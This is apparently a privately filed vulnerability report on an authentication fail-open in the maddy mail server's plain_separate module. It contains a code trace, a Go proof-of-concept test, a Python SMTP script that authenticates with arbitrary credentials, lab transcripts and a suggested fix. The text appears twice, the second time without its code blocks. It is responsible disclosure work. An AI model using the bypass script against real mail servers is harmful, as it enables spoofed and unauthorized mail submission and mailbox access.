Summary
auth.plain_separate returns success from AuthPlain when it has zero pass providers
configured. Its own documentation says the module uses "one or more authentication providers to
verify credentials" and that "if authentication with all providers fails, an error is returned", but
Configure never requires a pass directive and the provider loop leaves its error variable nil
when the list is empty. A configuration that omits pass therefore starts cleanly, logs nothing
unusual, and accepts every password on every endpoint that uses the module.
With a user table and no pass, any password authenticates any user listed in the table. With
neither directive, any username with any password authenticates, including an empty username and an
empty password.
Affected
v0.9.5 (the current release, 2026-05-23) and master. I reproduced it on the released
foxcpp/maddy:latest image, which reports {"version":"0.9.5"}.
In v0.9.5 internal/auth/plain_separate/plain_separate.go:
Configure at line 65, the optional pass callback at line 81, AuthPlain at line 117,
var lastErr error at line 133 and return lastErr at line 142.
The precondition, stated up front
This affects deployments whose config uses auth.plain_separate without a pass directive. A
config that includes pass is not affected, and I verified that with a control below. The shipped
maddy.conf uses auth.pass_table, so a stock install is not affected. What I am reporting is that
an incomplete plain_separate block fails open instead of being rejected at startup, and that
nothing in the log or the startup output tells the operator that password verification is not
happening.
What I traced
internal/auth/plain_separate/plain_separate.go (v0.9.5):
func (a *Auth) AuthPlain(username, password string) error {
ok := len(a.userTbls) == 0 // line 118: zero tables means "any username", which the docs do describe
for _, tbl := range a.userTbls { ... }
if !ok {
return errors.New("user not found in tables")
}
var lastErr error // line 133
for _, p := range a.passwd { // empty slice: body never runs
if err := p.AuthPlain(username, password); err != nil {
lastErr = err
continue
}
return nil
}
return lastErr // line 142: nil == success
}
Configure (line 65) registers user and pass as optional callbacks and then calls
cfg.Process(). There is no post-processing check that len(a.passwd) > 0, so an incomplete block is
accepted. The zero-table branch at line 118 is documented behaviour ("zero or more" tables); the
empty-provider branch at 133/142 is not, and it is the defect.
What I observed
1. The module, with the project's own code
Test file added to the tree, run on master:
$ go test ./internal/auth/plain_separate/ -run TestPoC -v
=== RUN TestPoC_NoPassDirective_AcceptsAnyPassword
zz_poc_test.go:25: BYPASS: AuthPlain returned nil (success) with zero `pass` providers configured
--- PASS
=== RUN TestPoC_Control_WithPassProvider_Rejects
zz_poc_test.go:35: control OK: with one `pass` provider AuthPlain rejects -> bad credentials
--- PASS
=== RUN TestPoC_Control_LookupZeroTablesIsDocumented
zz_poc_test.go:47: control OK: Lookup with zero tables returns ok=true, which the docs describe
--- PASS
2. End to end over SMTP against a real maddy 0.9.5
Config A, a user table and no pass:
auth.plain_separate local_authdb {
user file /data/users # /data/users contains one line: alice@lab.test
}
submission tcp://0.0.0.0:2525 { auth &local_authdb ... }
ATTACK alice@lab.test / TOTALLY-WRONG-PASSWORD -> 235 2.0.0 Authentication succeeded
ATTACK alice@lab.test / (empty password) -> 235 2.0.0 Authentication succeeded
CONTROL notinusertable@lab.test / x -> 535 5.7.8 Invalid credentials
The third line is the control that matters: the user table is consulted, and an unlisted
address is refused. So the difference between 235 and 535 is the missing password check and nothing
else.
Config B, the same file with one pass provider added and nothing else changed:
ATTACK alice@lab.test / TOTALLY-WRONG-PASSWORD -> 535 5.7.8 Invalid credentials
ATTACK alice@lab.test / (empty password) -> 535 5.7.8 Invalid credentials
CONTROL notinusertable@lab.test / x -> 535 5.7.8 Invalid credentials
Config C, auth.plain_separate local_authdb { } with neither directive:
ANY user / ANY password -> 235 2.0.0 Authentication succeeded
empty username / empty password -> 235 2.0.0 Authentication succeeded
postmaster / wrong password -> 235 2.0.0 Authentication succeeded
full session as an arbitrary identity:
235 2.0.0 Authentication succeeded
MAIL: 250 2.0.0 Roger, accepting mail from <attacker-not-a-user@lab.test>
RCPT: 250 2.0.0 I'll make sure <victim@lab.test> gets this
The session is a real authenticated submission session, not just a 235: MAIL FROM and RCPT TO are
both accepted afterwards.
The behaviour stands on these transcripts either way. If my reading of the cause is wrong in some
detail, the bypass is still reproducible from the three configs above.
Impact
auth.plain_separate is endpoint-agnostic, so the blast radius is whatever endpoints reference it.
On a submission endpoint an unauthenticated network attacker becomes an authenticated submitter and
can send mail as any local identity, which is both sender spoofing from a domain that will pass the
domain's own SPF and DKIM, and an authenticated relay. On an imap endpoint the same bypass is
mailbox access for any account the user tables admit. I scored it
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, for the vulnerable configuration, with confidentiality
high because the normal maddy layout points submission and imap at the same auth module.
Suggested fix
Reject the configuration rather than the credential. In Configure, after cfg.Process():
if len(a.passwd) == 0 {
return errors.New("plain_separate: at least one 'pass' directive is required")
}
That matches the documented contract ("one or more authentication providers"). As defence in depth,
make the loop fail closed as well, so a future refactor cannot reintroduce it:
lastErr := errors.New("plain_separate: no authentication providers configured")
for _, p := range a.passwd { ... }
return lastErr
I would also consider whether the zero-user-table case deserves a startup warning. It is documented
and I am not reporting it, but combined with a missing pass it turns into "authenticate anybody",
which is what Config C shows.
Reproduction files
internal/auth/plain_separate/zz_poc_test.go:
package plain_separate
import (
"errors"
"testing"
)
type alwaysReject struct{}
func (alwaysReject) AuthPlain(username, password string) error {
return errors.New("bad credentials")
}
func TestPoC_NoPassDirective_AcceptsAnyPassword(t *testing.T) {
a := &Auth{modName: "auth.plain_separate", instName: "poc"} // no userTbls, no passwd
if err := a.AuthPlain("anyone-at-all", "totally-wrong-password"); err != nil {
t.Fatalf("expected the fail-open, got error: %v", err)
}
t.Log("BYPASS: AuthPlain returned nil (success) with zero `pass` providers configured")
}
func TestPoC_Control_WithPassProvider_Rejects(t *testing.T) {
a := &Auth{modName: "auth.plain_separate", instName: "poc"}
a.passwd = append(a.passwd, alwaysReject{})
if err := a.AuthPlain("anyone-at-all", "totally-wrong-password"); err == nil {
t.Fatal("control failed: expected rejection with a pass provider present")
} else {
t.Logf("control OK: with one `pass` provider AuthPlain rejects -> %v", err)
}
}
func TestPoC_Control_LookupZeroTablesIsDocumented(t *testing.T) {
a := &Auth{modName: "auth.plain_separate", instName: "poc"}
_, ok, err := a.Lookup(t.Context(), "anyone-at-all")
if err != nil || !ok {
t.Fatalf("expected documented zero-table behaviour, got ok=%v err=%v", ok, err)
}
t.Log("control OK: Lookup with zero tables returns ok=true, which the docs describe")
}
The SMTP driver, run against foxcpp/maddy:latest on 127.0.0.1:20061 with tls off:
import base64, socket
def sess(user, pw, do_mail=False, port=20061):
s = socket.create_connection(("127.0.0.1", port), timeout=8)
f = s.makefile("rwb")
f.readline()
f.write(b"EHLO poc.test\r\n"); f.flush()
while True:
l = f.readline().decode().strip()
if l[3:4] == " ":
break
tok = base64.b64encode(b"\0" + user.encode() + b"\0" + pw.encode()).decode()
f.write(("AUTH PLAIN " + tok + "\r\n").encode()); f.flush()
auth = f.readline().decode().strip()
out = [auth]
if do_mail and auth.startswith("235"):
f.write(("MAIL FROM:<" + user + ">\r\n").encode()); f.flush()
out.append("MAIL: " + f.readline().decode().strip())
f.write(b"RCPT TO:<victim@lab.test>\r\n"); f.flush()
out.append("RCPT: " + f.readline().decode().strip())
f.write(b"QUIT\r\n"); f.flush(); s.close()
return out
print(sess("attacker-not-a-user@lab.test", "whatever", do_mail=True))
Disclosure
Reported privately through GitHub's private vulnerability reporting. Nothing is public and I will
hold for as long as you need. Please credit Elias Hasas (GitHub: zer0d4y5) if you publish.
Summary
auth.plain_separatereturns success fromAuthPlainwhen it has zeropassprovidersconfigured. Its own documentation says the module uses "one or more authentication providers to
verify credentials" and that "if authentication with all providers fails, an error is returned", but
Configurenever requires apassdirective and the provider loop leaves its error variablenilwhen the list is empty. A configuration that omits
passtherefore starts cleanly, logs nothingunusual, and accepts every password on every endpoint that uses the module.
With a
usertable and nopass, any password authenticates any user listed in the table. Withneither directive, any username with any password authenticates, including an empty username and an
empty password.
Affected
v0.9.5(the current release, 2026-05-23) andmaster. I reproduced it on the releasedfoxcpp/maddy:latestimage, which reports{"version":"0.9.5"}.In v0.9.5
internal/auth/plain_separate/plain_separate.go:Configureat line 65, the optionalpasscallback at line 81,AuthPlainat line 117,var lastErr errorat line 133 andreturn lastErrat line 142.The precondition, stated up front
This affects deployments whose config uses
auth.plain_separatewithout apassdirective. Aconfig that includes
passis not affected, and I verified that with a control below. The shippedmaddy.confusesauth.pass_table, so a stock install is not affected. What I am reporting is thatan incomplete
plain_separateblock fails open instead of being rejected at startup, and thatnothing in the log or the startup output tells the operator that password verification is not
happening.
What I traced
internal/auth/plain_separate/plain_separate.go(v0.9.5):Configure(line 65) registersuserandpassas optional callbacks and then callscfg.Process(). There is no post-processing check thatlen(a.passwd) > 0, so an incomplete block isaccepted. The zero-table branch at line 118 is documented behaviour ("zero or more" tables); the
empty-provider branch at 133/142 is not, and it is the defect.
What I observed
1. The module, with the project's own code
Test file added to the tree, run on
master:2. End to end over SMTP against a real maddy 0.9.5
Config A, a
usertable and nopass:The third line is the control that matters: the
usertable is consulted, and an unlistedaddress is refused. So the difference between 235 and 535 is the missing password check and nothing
else.
Config B, the same file with one
passprovider added and nothing else changed:Config C,
auth.plain_separate local_authdb { }with neither directive:The session is a real authenticated submission session, not just a 235:
MAIL FROMandRCPT TOareboth accepted afterwards.
The behaviour stands on these transcripts either way. If my reading of the cause is wrong in some
detail, the bypass is still reproducible from the three configs above.
Impact
auth.plain_separateis endpoint-agnostic, so the blast radius is whatever endpoints reference it.On a
submissionendpoint an unauthenticated network attacker becomes an authenticated submitter andcan send mail as any local identity, which is both sender spoofing from a domain that will pass the
domain's own SPF and DKIM, and an authenticated relay. On an
imapendpoint the same bypass ismailbox access for any account the user tables admit. I scored it
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, for the vulnerable configuration, with confidentialityhigh because the normal maddy layout points
submissionandimapat the same auth module.Suggested fix
Reject the configuration rather than the credential. In
Configure, aftercfg.Process():That matches the documented contract ("one or more authentication providers"). As defence in depth,
make the loop fail closed as well, so a future refactor cannot reintroduce it:
I would also consider whether the zero-
user-table case deserves a startup warning. It is documentedand I am not reporting it, but combined with a missing
passit turns into "authenticate anybody",which is what Config C shows.
Reproduction files
internal/auth/plain_separate/zz_poc_test.go:The SMTP driver, run against
foxcpp/maddy:lateston127.0.0.1:20061withtls off:Disclosure
Reported privately through GitHub's private vulnerability reporting. Nothing is public and I will
hold for as long as you need. Please credit Elias Hasas (GitHub: zer0d4y5) if you publish.